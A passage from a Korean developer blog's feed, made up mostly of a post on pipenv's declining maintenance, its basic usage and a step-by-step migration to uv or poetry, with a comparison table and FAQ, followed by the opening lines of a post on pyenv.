&lt;li&gt;&lt;strong&gt;uv / poetry / pip-tools 와의 솔직한 비교표&lt;/strong&gt;&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Pipfile → pyproject.toml 마이그레이션 체크리스트&lt;/strong&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;까지 한 번에 정리하겠습니다.&lt;/p&gt;
&lt;h2&gt;Pipenv 는 어떤 문제를 풀려고 태어났나&lt;/h2&gt;
&lt;p&gt;2017 년 Kenneth Reitz(그 유명한 &lt;code class=&quot;language-text&quot;&gt;requests&lt;/code&gt; 저자) 가 내놓은 pipenv 는 그 당시로선 꽤 혁신적인 아이디어였습니다. 그 전까지 파이썬 개발자는 이걸 다 따로 관리했거든요:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;code class=&quot;language-text&quot;&gt;virtualenv&lt;/code&gt; 또는 &lt;code class=&quot;language-text&quot;&gt;venv&lt;/code&gt; 로 가상환경 생성&lt;/li&gt;
&lt;li&gt;&lt;code class=&quot;language-text&quot;&gt;pip install&lt;/code&gt; 로 패키지 설치&lt;/li&gt;
&lt;li&gt;&lt;code class=&quot;language-text&quot;&gt;pip freeze &gt; requirements.txt&lt;/code&gt; 로 버전 고정&lt;/li&gt;
&lt;li&gt;개발용/배포용 분리는 &lt;code class=&quot;language-text&quot;&gt;requirements-dev.txt&lt;/code&gt; 로 수동 관리&lt;/li&gt;
&lt;li&gt;락파일? 그런 거 없음. &lt;code class=&quot;language-text&quot;&gt;requirements.txt&lt;/code&gt; 가 전부.&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;pipenv 는 이걸 &lt;strong&gt;하나의 도구로 묶고&lt;/strong&gt;, Node.js 의 &lt;code class=&quot;language-text&quot;&gt;package.json&lt;/code&gt; + &lt;code class=&quot;language-text&quot;&gt;package-lock.json&lt;/code&gt; 같은 경험을 파이썬에도 가져오려 했습니다. &lt;code class=&quot;language-text&quot;&gt;Pipfile&lt;/code&gt; + &lt;code class=&quot;language-text&quot;&gt;Pipfile.lock&lt;/code&gt; 조합이 그거죠.&lt;/p&gt;
&lt;p&gt;한때 PyPA(Python Packaging Authority) 가 공식적으로 추천하기도 했고, 2018~2020 즈음에는 &quot;파이썬 프로젝트 관리의 표준이 될 것&quot;이라는 기대도 받았습니다.&lt;/p&gt;
&lt;h2&gt;2026 현재 유지보수 상태 — 솔직하게&lt;/h2&gt;
&lt;p&gt;자, 여기서부터는 현실입니다.&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;릴리즈 주기&lt;/strong&gt;: 2023 년 이후 릴리즈 빈도가 급격히 떨어졌고, 2024~2025 에는 보안 패치 수준의 작은 릴리즈 위주였습니다.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;이슈 트래커&lt;/strong&gt;: 수백 개의 이슈가 열린 채 방치되어 있고, PR 리뷰도 지연이 일상화되었습니다.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;성능&lt;/strong&gt;: &lt;code class=&quot;language-text&quot;&gt;pipenv lock&lt;/code&gt; 은 여전히 &lt;strong&gt;엄청 느립니다&lt;/strong&gt;. 의존성이 많은 프로젝트에서는 수 분~수십 분이 걸리기도 합니다. 같은 작업을 &lt;code class=&quot;language-text&quot;&gt;uv lock&lt;/code&gt; 으로 하면 초 단위로 끝납니다.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;PyPA 공식 추천&lt;/strong&gt;: 이제 pipenv 를 &quot;유일한 정답&quot;으로 미는 톤이 아닙니다. &lt;code class=&quot;language-text&quot;&gt;pip&lt;/code&gt;, &lt;code class=&quot;language-text&quot;&gt;pip-tools&lt;/code&gt;, &lt;code class=&quot;language-text&quot;&gt;poetry&lt;/code&gt;, &lt;code class=&quot;language-text&quot;&gt;hatch&lt;/code&gt;, &lt;code class=&quot;language-text&quot;&gt;pdm&lt;/code&gt; 등이 병렬로 소개되며, 사실상 &lt;strong&gt;&quot;고르세요&quot;&lt;/strong&gt; 단계로 바뀌었습니다.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;업계 분위기&lt;/strong&gt;: 2025 년 기준 신규 파이썬 프로젝트 대부분이 &lt;strong&gt;uv&lt;/strong&gt; 또는 &lt;strong&gt;poetry&lt;/strong&gt; 로 시작하고, 기업 레포에서도 점차 마이그레이션 중입니다.&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;한 줄 요약: &lt;strong&gt;pipenv 는 죽지 않았지만, 성장은 멈췄습니다.&lt;/strong&gt;&lt;/p&gt;
&lt;h2&gt;그래도 써야 한다면 — 기본 사용법&lt;/h2&gt;
&lt;p&gt;기존 레거시 프로젝트를 유지보수해야 하거나, 팀 전체가 아직 pipenv 를 쓰는 상황이라면 기본기는 알고 있어야 합니다.&lt;/p&gt;
&lt;h3&gt;설치&lt;/h3&gt;
&lt;div class=&quot;gatsby-highlight&quot; data-language=&quot;bash&quot;&gt;&lt;pre class=&quot;language-bash&quot;&gt;&lt;code class=&quot;language-bash&quot;&gt;pip &lt;span class=&quot;token function&quot;&gt;install&lt;/span&gt; &lt;span class=&quot;token parameter variable&quot;&gt;--user&lt;/span&gt; pipenv&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;p&gt;시스템 파이썬을 더럽히지 않으려면 &lt;code class=&quot;language-text&quot;&gt;pipx install pipenv&lt;/code&gt; 가 더 깔끔합니다.&lt;/p&gt;
&lt;h3&gt;프로젝트 시작&lt;/h3&gt;
&lt;div class=&quot;gatsby-highlight&quot; data-language=&quot;bash&quot;&gt;&lt;pre class=&quot;language-bash&quot;&gt;&lt;code class=&quot;language-bash&quot;&gt;&lt;span class=&quot;token function&quot;&gt;mkdir&lt;/span&gt; myproject &lt;span class=&quot;token operator&quot;&gt;&amp;amp;&amp;amp;&lt;/span&gt; &lt;span class=&quot;token builtin class-name&quot;&gt;cd&lt;/span&gt; myproject
pipenv &lt;span class=&quot;token function&quot;&gt;install&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;p&gt;&lt;code class=&quot;language-text&quot;&gt;Pipfile&lt;/code&gt; 이 자동 생성되고, 현재 디렉터리에 연결된 가상환경이 만들어집니다.&lt;/p&gt;
&lt;h3&gt;패키지 설치 / 개발 의존성 분리&lt;/h3&gt;
&lt;div class=&quot;gatsby-highlight&quot; data-language=&quot;bash&quot;&gt;&lt;pre class=&quot;language-bash&quot;&gt;&lt;code class=&quot;language-bash&quot;&gt;&lt;span class=&quot;token comment&quot;&gt;# 런타임 의존성&lt;/span&gt;
pipenv &lt;span class=&quot;token function&quot;&gt;install&lt;/span&gt; requests

&lt;span class=&quot;token comment&quot;&gt;# 개발 전용 (테스트, 린터 등)&lt;/span&gt;
pipenv &lt;span class=&quot;token function&quot;&gt;install&lt;/span&gt; &lt;span class=&quot;token parameter variable&quot;&gt;--dev&lt;/span&gt; pytest ruff&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;h3&gt;스크립트 실행&lt;/h3&gt;
&lt;div class=&quot;gatsby-highlight&quot; data-language=&quot;bash&quot;&gt;&lt;pre class=&quot;language-bash&quot;&gt;&lt;code class=&quot;language-bash&quot;&gt;pipenv run python main.py
pipenv run pytest&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;p&gt;&lt;code class=&quot;language-text&quot;&gt;pipenv shell&lt;/code&gt; 로 가상환경에 진입할 수도 있지만, 서브셸이 생성되는 방식이라 혼란스러울 때가 있어 &lt;code class=&quot;language-text&quot;&gt;pipenv run&lt;/code&gt; 사용을 더 권장합니다.&lt;/p&gt;
&lt;h3&gt;락파일 생성 / 동기화&lt;/h3&gt;
&lt;div class=&quot;gatsby-highlight&quot; data-language=&quot;bash&quot;&gt;&lt;pre class=&quot;language-bash&quot;&gt;&lt;code class=&quot;language-bash&quot;&gt;pipenv lock     &lt;span class=&quot;token comment&quot;&gt;# Pipfile.lock 생성 (느림 주의)&lt;/span&gt;
pipenv &lt;span class=&quot;token function&quot;&gt;sync&lt;/span&gt;     &lt;span class=&quot;token comment&quot;&gt;# Pipfile.lock 기준으로 정확히 동일하게 설치 (CI/배포용)&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;p&gt;CI 에서는 &lt;code class=&quot;language-text&quot;&gt;pipenv install&lt;/code&gt; 대신 &lt;strong&gt;반드시 &lt;code class=&quot;language-text&quot;&gt;pipenv sync&lt;/code&gt;&lt;/strong&gt; 를 쓰세요. 락파일을 깨지 않고 재현 가능한 빌드를 보장합니다.&lt;/p&gt;
&lt;h2&gt;Pipfile / Pipfile.lock 구조&lt;/h2&gt;
&lt;div class=&quot;gatsby-highlight&quot; data-language=&quot;toml&quot;&gt;&lt;pre class=&quot;language-toml&quot;&gt;&lt;code class=&quot;language-toml&quot;&gt;&lt;span class=&quot;token comment&quot;&gt;# Pipfile&lt;/span&gt;
&lt;span class=&quot;token punctuation&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;token table class-name&quot;&gt;source&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;]&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;]&lt;/span&gt;
&lt;span class=&quot;token key property&quot;&gt;url&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;token string&quot;&gt;&quot;https://pypi.org/simple&quot;&lt;/span&gt;
&lt;span class=&quot;token key property&quot;&gt;verify_ssl&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;token boolean&quot;&gt;true&lt;/span&gt;
&lt;span class=&quot;token key property&quot;&gt;name&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;token string&quot;&gt;&quot;pypi&quot;&lt;/span&gt;

&lt;span class=&quot;token punctuation&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;token table class-name&quot;&gt;packages&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;]&lt;/span&gt;
&lt;span class=&quot;token key property&quot;&gt;requests&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;token string&quot;&gt;&quot;*&quot;&lt;/span&gt;
&lt;span class=&quot;token key property&quot;&gt;fastapi&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;token string&quot;&gt;&quot;&gt;=0.110&quot;&lt;/span&gt;

&lt;span class=&quot;token punctuation&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;token table class-name&quot;&gt;dev-packages&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;]&lt;/span&gt;
&lt;span class=&quot;token key property&quot;&gt;pytest&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;token string&quot;&gt;&quot;*&quot;&lt;/span&gt;
&lt;span class=&quot;token key property&quot;&gt;ruff&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;token string&quot;&gt;&quot;*&quot;&lt;/span&gt;

&lt;span class=&quot;token punctuation&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;token table class-name&quot;&gt;requires&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;]&lt;/span&gt;
&lt;span class=&quot;token key property&quot;&gt;python_version&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;token string&quot;&gt;&quot;3.12&quot;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;p&gt;&lt;code class=&quot;language-text&quot;&gt;Pipfile.lock&lt;/code&gt; 은 JSON 포맷이고, 각 패키지의 해시와 정확한 버전이 고정됩니다. 이 파일은 반드시 Git 에 커밋해야 합니다.&lt;/p&gt;
&lt;h2&gt;2026 대체 도구 비교표&lt;/h2&gt;
&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;항목&lt;/th&gt;
&lt;th&gt;pipenv&lt;/th&gt;
&lt;th&gt;poetry&lt;/th&gt;
&lt;th&gt;&lt;strong&gt;uv&lt;/strong&gt;&lt;/th&gt;
&lt;th&gt;pip-tools&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;의존성 해결 속도&lt;/td&gt;
&lt;td&gt;매우 느림&lt;/td&gt;
&lt;td&gt;보통&lt;/td&gt;
&lt;td&gt;&lt;strong&gt;매우 빠름 (10~100배)&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;빠름&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;락파일 정확성&lt;/td&gt;
&lt;td&gt;좋음&lt;/td&gt;
&lt;td&gt;매우 좋음&lt;/td&gt;
&lt;td&gt;매우 좋음&lt;/td&gt;
&lt;td&gt;좋음&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;가상환경 관리&lt;/td&gt;
&lt;td&gt;내장&lt;/td&gt;
&lt;td&gt;내장&lt;/td&gt;
&lt;td&gt;&lt;strong&gt;내장 + Python 설치까지&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;별도 필요&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;프로젝트 메타데이터&lt;/td&gt;
&lt;td&gt;Pipfile (비표준)&lt;/td&gt;
&lt;td&gt;pyproject.toml (PEP 621 부분 호환)&lt;/td&gt;
&lt;td&gt;&lt;strong&gt;pyproject.toml (PEP 표준 준수)&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;requirements.in&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;빌드 / 배포&lt;/td&gt;
&lt;td&gt;불가&lt;/td&gt;
&lt;td&gt;가능&lt;/td&gt;
&lt;td&gt;가능&lt;/td&gt;
&lt;td&gt;불가&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;커뮤니티 활성도&lt;/td&gt;
&lt;td&gt;정체&lt;/td&gt;
&lt;td&gt;활발&lt;/td&gt;
&lt;td&gt;&lt;strong&gt;폭발적 성장&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;안정적&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;학습 곡선&lt;/td&gt;
&lt;td&gt;낮음&lt;/td&gt;
&lt;td&gt;중간&lt;/td&gt;
&lt;td&gt;낮음&lt;/td&gt;
&lt;td&gt;중간&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;2026 추천도&lt;/td&gt;
&lt;td&gt;레거시만&lt;/td&gt;
&lt;td&gt;권장&lt;/td&gt;
&lt;td&gt;&lt;strong&gt;적극 권장&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;미니멀리스트&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;h3&gt;요약&lt;/h3&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;신규 프로젝트&lt;/strong&gt;: &lt;code class=&quot;language-text&quot;&gt;uv&lt;/code&gt; 를 1순위로 고르세요. Rust 로 작성되어 속도가 압도적이고, 파이썬 버전 관리까지 한 번에 해결합니다 (pyenv 가 필요 없어집니다).&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;빌드/배포까지 깊게 다루는 라이브러리 프로젝트&lt;/strong&gt;: &lt;code class=&quot;language-text&quot;&gt;poetry&lt;/code&gt; 도 여전히 훌륭한 선택지입니다.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;단순함이 최고다&lt;/strong&gt;: &lt;code class=&quot;language-text&quot;&gt;pip + pip-tools + venv&lt;/code&gt; 조합도 충분합니다.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;pipenv 는?&lt;/strong&gt; 기존 프로젝트가 이미 쓰고 있을 때만.&lt;/li&gt;
&lt;/ul&gt;
&lt;h2&gt;마이그레이션 힌트 — Pipfile → pyproject.toml&lt;/h2&gt;
&lt;h3&gt;왜 굳이 옮겨야 하나?&lt;/h3&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;속도&lt;/strong&gt;: &lt;code class=&quot;language-text&quot;&gt;pipenv lock&lt;/code&gt; 이 5 분 걸리던 게 &lt;code class=&quot;language-text&quot;&gt;uv lock&lt;/code&gt; 은 3 초로 줄어듭니다. CI 시간이 체감될 정도로 달라집니다.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;표준&lt;/strong&gt;: &lt;code class=&quot;language-text&quot;&gt;pyproject.toml&lt;/code&gt; 은 PEP 621 기반 파이썬 공식 표준입니다. 도구 이식성이 훨씬 좋습니다.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;생태계&lt;/strong&gt;: 새로운 도구들(ruff, mypy, pytest 설정 등)이 &lt;code class=&quot;language-text&quot;&gt;pyproject.toml&lt;/code&gt; 을 1급 시민으로 취급합니다.&lt;/li&gt;
&lt;/ul&gt;
&lt;h3&gt;uv 로 옮기는 단계별 체크리스트&lt;/h3&gt;
&lt;ol&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;uv 설치&lt;/strong&gt;&lt;/p&gt;
&lt;div class=&quot;gatsby-highlight&quot; data-language=&quot;bash&quot;&gt;&lt;pre class=&quot;language-bash&quot;&gt;&lt;code class=&quot;language-bash&quot;&gt;&lt;span class=&quot;token comment&quot;&gt;# macOS / Linux&lt;/span&gt;
&lt;span class=&quot;token function&quot;&gt;curl&lt;/span&gt; &lt;span class=&quot;token parameter variable&quot;&gt;-LsSf&lt;/span&gt; https://astral.sh/uv/install.sh &lt;span class=&quot;token operator&quot;&gt;|&lt;/span&gt; &lt;span class=&quot;token function&quot;&gt;sh&lt;/span&gt;
&lt;span class=&quot;token comment&quot;&gt;# Windows (PowerShell)&lt;/span&gt;
irm https://astral.sh/uv/install.ps1 &lt;span class=&quot;token operator&quot;&gt;|&lt;/span&gt; iex&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;Pipfile 내용 백업 (읽기용)&lt;/strong&gt;&lt;/p&gt;
&lt;div class=&quot;gatsby-highlight&quot; data-language=&quot;bash&quot;&gt;&lt;pre class=&quot;language-bash&quot;&gt;&lt;code class=&quot;language-bash&quot;&gt;&lt;span class=&quot;token function&quot;&gt;cp&lt;/span&gt; Pipfile Pipfile.backup
&lt;span class=&quot;token function&quot;&gt;cp&lt;/span&gt; Pipfile.lock Pipfile.lock.backup&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;uv 프로젝트 초기화&lt;/strong&gt;&lt;/p&gt;
&lt;div class=&quot;gatsby-highlight&quot; data-language=&quot;bash&quot;&gt;&lt;pre class=&quot;language-bash&quot;&gt;&lt;code class=&quot;language-bash&quot;&gt;uv init --no-readme&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;p&gt;기존 디렉터리에서도 안전하게 &lt;code class=&quot;language-text&quot;&gt;pyproject.toml&lt;/code&gt; 을 만들어 줍니다.&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;의존성 이관&lt;/strong&gt;
Pipfile 의 &lt;code class=&quot;language-text&quot;&gt;[packages]&lt;/code&gt; 항목을 읽어 하나씩 옮깁니다.&lt;/p&gt;
&lt;div class=&quot;gatsby-highlight&quot; data-language=&quot;bash&quot;&gt;&lt;pre class=&quot;language-bash&quot;&gt;&lt;code class=&quot;language-bash&quot;&gt;uv &lt;span class=&quot;token function&quot;&gt;add&lt;/span&gt; requests fastapi
uv &lt;span class=&quot;token function&quot;&gt;add&lt;/span&gt; &lt;span class=&quot;token parameter variable&quot;&gt;--dev&lt;/span&gt; pytest ruff&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;파이썬 버전 지정&lt;/strong&gt;
Pipfile 의 &lt;code class=&quot;language-text&quot;&gt;python_version&lt;/code&gt; 을 &lt;code class=&quot;language-text&quot;&gt;pyproject.toml&lt;/code&gt; 의 &lt;code class=&quot;language-text&quot;&gt;requires-python&lt;/code&gt; 으로 옮깁니다.&lt;/p&gt;
&lt;div class=&quot;gatsby-highlight&quot; data-language=&quot;toml&quot;&gt;&lt;pre class=&quot;language-toml&quot;&gt;&lt;code class=&quot;language-toml&quot;&gt;&lt;span class=&quot;token punctuation&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;token table class-name&quot;&gt;project&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;]&lt;/span&gt;
&lt;span class=&quot;token key property&quot;&gt;requires-python&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;token string&quot;&gt;&quot;&gt;=3.12&quot;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;락파일 생성 및 설치 검증&lt;/strong&gt;&lt;/p&gt;
&lt;div class=&quot;gatsby-highlight&quot; data-language=&quot;bash&quot;&gt;&lt;pre class=&quot;language-bash&quot;&gt;&lt;code class=&quot;language-bash&quot;&gt;uv lock
uv &lt;span class=&quot;token function&quot;&gt;sync&lt;/span&gt;
uv run pytest&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;팀 공지 + CI 파이프라인 수정&lt;/strong&gt;&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;GitHub Actions / GitLab CI 의 &lt;code class=&quot;language-text&quot;&gt;pipenv sync&lt;/code&gt; 를 &lt;code class=&quot;language-text&quot;&gt;uv sync --frozen&lt;/code&gt; 으로 교체&lt;/li&gt;
&lt;li&gt;Dockerfile 에서 &lt;code class=&quot;language-text&quot;&gt;pipenv install --deploy&lt;/code&gt; 를 &lt;code class=&quot;language-text&quot;&gt;uv sync --frozen --no-dev&lt;/code&gt; 로 교체&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;Pipfile 제거&lt;/strong&gt;
모두 동작하는 것을 확인한 후 &lt;code class=&quot;language-text&quot;&gt;Pipfile&lt;/code&gt;, &lt;code class=&quot;language-text&quot;&gt;Pipfile.lock&lt;/code&gt; 을 삭제하고 커밋합니다.&lt;/p&gt;
&lt;/li&gt;
&lt;/ol&gt;
&lt;h3&gt;poetry 로 옮기고 싶다면&lt;/h3&gt;
&lt;p&gt;거의 동일한 흐름입니다. &lt;code class=&quot;language-text&quot;&gt;poetry init&lt;/code&gt; → &lt;code class=&quot;language-text&quot;&gt;poetry add &amp;lt;패키지&gt;&lt;/code&gt; → &lt;code class=&quot;language-text&quot;&gt;poetry lock&lt;/code&gt; → &lt;code class=&quot;language-text&quot;&gt;poetry install&lt;/code&gt;. pyproject.toml 스키마가 poetry 전용 섹션(&lt;code class=&quot;language-text&quot;&gt;[tool.poetry]&lt;/code&gt;)을 쓰다가 최근에는 PEP 621 표준(&lt;code class=&quot;language-text&quot;&gt;[project]&lt;/code&gt;) 도 지원하니, 신규 프로젝트라면 표준 스키마를 권장합니다.&lt;/p&gt;
&lt;h2&gt;언제 pipenv 를 &quot;유지&quot;하는 게 나은가&lt;/h2&gt;
&lt;p&gt;마이그레이션이 항상 정답은 아닙니다. 다음 경우에는 &lt;strong&gt;그냥 두는 것&lt;/strong&gt;도 합리적입니다.&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;작은 개인 프로젝트&lt;/strong&gt;이고 이미 잘 돌아가고 있을 때 — 굳이 시간을 쓸 필요 없습니다.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;팀원 전원이 pipenv 에 익숙&lt;/strong&gt;하고, 교육 비용이 마이그레이션 이득보다 클 때.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;레거시 배포 파이프라인&lt;/strong&gt;이 pipenv 에 깊게 묶여 있고, 다음 분기까지 손 댈 여유가 없을 때.&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;대신 새로 시작하는 마이크로서비스나 분리 가능한 모듈이 있다면, &lt;strong&gt;그 프로젝트부터 uv 로 시작해 사내 레퍼런스&lt;/strong&gt;를 만들어 두면 좋습니다. 나중에 전사 마이그레이션이 훨씬 수월해집니다.&lt;/p&gt;
&lt;h2&gt;FAQ&lt;/h2&gt;
&lt;h3&gt;Q1. pipenv 진짜 망한 건가요? 내일 당장 못 쓰게 되나요?&lt;/h3&gt;
&lt;p&gt;아니요. 오늘 당장 사라지지는 않습니다. PyPI 에서 계속 설치 가능하고 기본 기능은 작동합니다. 다만 &lt;strong&gt;신기능·성능 개선은 기대하기 어렵고&lt;/strong&gt;, 이슈 해결 속도도 매우 느립니다. &quot;유지는 되지만 성장은 멈춘&quot; 상태라고 보시면 됩니다.&lt;/p&gt;
&lt;h3&gt;Q2. uv 로 갈아타면 구체적으로 뭐가 좋아지나요?&lt;/h3&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;락 생성 속도&lt;/strong&gt;: 체감상 10~100 배 빨라집니다. 큰 모노레포에서는 차이가 더 극적입니다.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;파이썬 버전 관리 통합&lt;/strong&gt;: &lt;code class=&quot;language-text&quot;&gt;uv python install 3.12&lt;/code&gt; 한 줄이면 됩니다. pyenv 가 필요 없어집니다.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;표준 준수&lt;/strong&gt;: &lt;code class=&quot;language-text&quot;&gt;pyproject.toml&lt;/code&gt; 중심이라 ruff, mypy, pytest 등과 설정을 한 파일에 모을 수 있습니다.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;단일 바이너리&lt;/strong&gt;: Rust 로 작성되어 의존성이 없어 CI 캐시 관리도 간단합니다.&lt;/li&gt;
&lt;/ul&gt;
&lt;h3&gt;Q3. pip-tools 면 충분하지 않나요?&lt;/h3&gt;
&lt;p&gt;&quot;가상환경은 venv 로, 락파일은 pip-compile 로&quot; 조합은 여전히 유효합니다. 미니멀리스트에게 좋습니다. 다만 &lt;strong&gt;명령어 통합성&lt;/strong&gt;과 &lt;strong&gt;속도&lt;/strong&gt; 면에서 uv 가 더 낫고, uv 는 내부적으로 pip-tools 의 역할까지 흡수했다고 보시면 됩니다.&lt;/p&gt;
&lt;h2&gt;관련 포스팅&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;&lt;a href=&quot;/pyenv/&quot;&gt;pyenv 로 파이썬 버전 관리하기&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;/ruff/&quot;&gt;Ruff — 2026 파이썬 린터/포매터 표준&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;h2&gt;참고 자료&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;&lt;a href=&quot;https://pipenv.pypa.io/&quot;&gt;pipenv 공식 문서&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://docs.astral.sh/uv/&quot;&gt;uv 공식 문서 (Astral)&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://python-poetry.org/docs/&quot;&gt;Poetry 공식 문서&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://peps.python.org/pep-0621/&quot;&gt;PEP 621 — pyproject.toml 프로젝트 메타데이터&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;hr&gt;
&lt;p&gt;정리해보면, &lt;strong&gt;pipenv 는 &quot;한 시대를 열었던 도구&quot;&lt;/strong&gt; 로 기억될 겁니다. 파이썬 패키지 관리에 락파일과 통합 워크플로라는 개념을 대중화한 공은 분명히 있습니다. 다만 2026 현재, 새 프로젝트를 시작하는 분이라면 저는 망설임 없이 &lt;strong&gt;uv&lt;/strong&gt; 를 권합니다.&lt;/p&gt;
&lt;p&gt;여러분의 팀은 아직 pipenv 를 쓰고 계신가요? 아니면 이미 uv 나 poetry 로 옮기셨나요? 마이그레이션 중 겪은 이슈나, &quot;이런 상황에서는 pipenv 가 여전히 낫다&quot;는 반박이 있다면 댓글로 공유해 주세요. 다음 글에서 &lt;strong&gt;uv 실전 튜토리얼&lt;/strong&gt;로 찾아뵙겠습니다.&lt;/p&gt;</content:encoded></item><item><title><![CDATA[pyenv 실전 가이드 — Python 버전 관리 (2026, uv 와 비교)]]></title><description><![CDATA[안녕하세요, 자바파커입니다. "Python 3.10 으로 돌아가는 레거시 프로젝트 하나, 3.12 로 시작한 신규 프로젝트 하나, 3.1…]]></description><link>https://blog.javapark.kr/pyenv/</link><guid isPermaLink="false">https://blog.javapark.kr/pyenv/</guid><pubDate>Sun, 28 Jan 2024 09:00:00 GMT</pubDate><content:encoded>&lt;p&gt;안녕하세요, &lt;strong&gt;자바파커&lt;/strong&gt;입니다.&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;&quot;Python 3.10 으로 돌아가는 레거시 프로젝트 하나, 3.12 로 시작한 신규 프로젝트 하나, 3.13 이 기본인 실험용 스크립트 하나 — 이걸 한 노트북에서 어떻게 깔끔하게 돌리고 계신가요?&quot;&lt;/p&gt;
&lt;/blockquote&gt;
